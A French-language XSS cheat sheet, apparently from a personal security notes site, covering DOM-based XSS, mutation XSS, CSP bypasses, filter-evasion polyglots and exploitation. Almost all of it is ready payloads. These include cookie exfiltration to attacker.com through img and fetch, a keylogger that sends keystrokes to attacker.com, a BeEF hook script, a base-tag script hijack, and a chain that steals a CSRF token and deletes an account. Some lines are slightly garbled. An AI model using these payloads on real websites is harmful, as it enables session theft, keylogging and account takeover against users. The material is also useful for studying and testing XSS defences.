MDstable
NoteSnippetChecklistPlaybook

XSS Avancé — DOM-based, Mutation XSS, CSP Bypass

XSS avancé : DOM-based, mXSS, bypass Content Security Policy, filter evasion, polyglots et exploitation via BeEF

snippetadvanced 2026-05-30 4 min read
xssdom-xsscsp-bypassmxsswebowaspjavascript

DOM-based XSS

L'injection se fait via le DOM côté client — le serveur ne voit jamais le payload.

Sources dangereuses (points d'entrée)

javascript
// Sources contrôlables par l'attaquant
location.hash
location.search // ?q=
location.href
document.referrer
window.name
postMessage data
localStorage / sessionStorage

Sinks dangereux (points d'exécution)

javascript
// Sinks d'exécution directe
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
// Sinks d'exécution de code
eval()
setTimeout("code", 100)
setInterval("code", 100)
new Function("code")
element.src = "javascript:..."
// Sinks de redirection
location.href = userInput
location.replace(userInput)
location.assign(userInput)

Exemples de payloads DOM XSS

javascript
// Exploiter location.hash
// URL : https://site.com/#<img src=x onerror=alert(1)>
document.getElementById('output').innerHTML = location.hash.slice(1);
// Exploiter document.write avec location.search
// URL : https://site.com/?name=<script>alert(1)</script>
document.write('<h1>' + location.search.split('=')[1] + '</h1>');
// Exploiter postMessage
window.addEventListener('message', (e) => {
document.getElementById('msg').innerHTML = e.data; // sink vulnérable
});
// Exploit : iframe + postMessage depuis attacker.com

DOM Clobbering

html
<!-- Permet d'écraser des variables globales via HTML -->
<form id="config"><input name="debug" value="1"></form>
<!-- Si le code fait : if (config.debug) ... -->
<!-- config référence maintenant le form DOM -->
<!-- Chaîne d'exploitation -->
<a id="default_config" href="javascript:alert(1)">
<!-- Code vulnérable : location = default_config.href -->

Mutation XSS (mXSS)

Le parser HTML mute le payload avant exécution — contourne les sanitizers.

javascript
// innerHTML re-parse le contenu → mutation possible
element.innerHTML = sanitize(userInput); // sanitizer analysé sur string
// Mais innerHTML parse différemment → payload survivant
// Payload mXSS classique
// Input : <noscript><p title="</noscript><img src=x onerror=alert(1)>">
// DOMPurify < 2.0.17 : vulnérable à ce pattern
// Autre vecteur : SVG namespace
<svg><style><img src=x onerror=alert(1)></style></svg>
// Muté par le parser en : <svg><style></style></svg><img onerror=alert(1) src=x>
// Test rapide mXSS
const div = document.createElement('div');
div.innerHTML = payload;
console.log(div.innerHTML); // observer la mutation

Content Security Policy (CSP) — Bypass

Analyser une CSP

bash
# Récupérer le header CSP
curl -I https//target.com | grep -i content-security-policy
# Analyser avec Google CSP Evaluator
https//csp-evaluator.withgoogle.com/

Bypass via wildcard

# CSP : script-src *.cdn.com
# Si cdn.com héberge du contenu uploadable → bypass
<script src"https://user-upload.cdn.com/evil.js"></script>

Bypass via JSONP endpoint

# CSP : script-src 'self' accounts.google.com
# JSONP sur accounts.google.com :
<script src"https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>

Bypass via Angular (ng-app)

# CSP : script-src 'self' ajax.googleapis.com
# Angular + JSONP = bypass CSP 'unsafe-eval'
<script src"https://ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"></script>
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>

Bypass via 'unsafe-inline' + nonce leak

javascript
// Si nonce prévisible ou leaké dans la page
<script nonce="leaked_nonce">alert(1)</script>
// Injection dans un attribut avec propagation nonce
<p id="a" onclick="..." nonce="abc"> // nonce visible si mal implémenté

Bypass via base tag

html
<!-- CSP : script-src 'self' -->
<!-- Injection possible dans <head> : -->
<base href="https://attacker.com/">
<!-- Tous les scripts relatifs chargent depuis attacker.com -->
<script src="/app.js"></script> → charge https://attacker.com/app.js

Bypass via data: exfiltration (no script)

# CSP bloque script mais pas img/fetch
# Exfiltration via :
<img src"https://attacker.com/?c="documentcookie>
fetch"https://attacker.com/?c="btoadocumentcookie

Filter Evasion & Polyglots

Contournement de filtres basiques

javascript
// Casse mixte
<ScRiPt>alert(1)</sCrIpT>
// Encodage HTML entities
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
// Tab / newline dans les attributs
<img src="x" onerror
="alert(1)">
// Vecteurs sans parenthèses (CSP bypass avec throw)
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
// Template literals
<img src=x onerror=`alert(1)`>
// Vecteurs SVG
<svg onload=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
// vecteurs HTML5
<video src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<input autofocus onfocus=alert(1)>

Polyglot XSS

javascript
// Fonctionne dans : HTML attr, JS string, URL, CSS
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Exploitation avancée

Vol de cookie HttpOnly via XSS + CSRF

javascript
// HttpOnly bloque document.cookie
// Mais on peut forcer des requêtes authentifiées :
fetch('/api/change-email', {
method: 'POST',
credentials: 'include',
body: JSON.stringify({email: 'attacker@evil.com'})
});

Keylogger via XSS

javascript
document.addEventListener('keypress', (e) => {
fetch(`https://attacker.com/log?k=${e.key}`);
});

XSS → CSRF token extraction

javascript
fetch('/account/settings')
.then(r => r.text())
.then(html => {
const token = html.match(/csrf_token" value="([^"]+)"/)[1];
// Utiliser le token pour une action CSRF
fetch('/account/delete', {method:'POST', body:`csrf=${token}`});
});

Outils d'exploitation

bash
# BeEF Framework — hook navigateur victim
beef-xss
# Payload hook BeEF
<script src"http://attacker.com:3000/hook.js"></script>
# XSStrike — détection et exploitation XSS
python3 xsstrikepy -u "https://target.com/?q=FUZZ"
python3 xsstrikepy -u "https://target.com/" --data "search=FUZZ"
OPS·BRAIN v1.092 notes · Securitylocal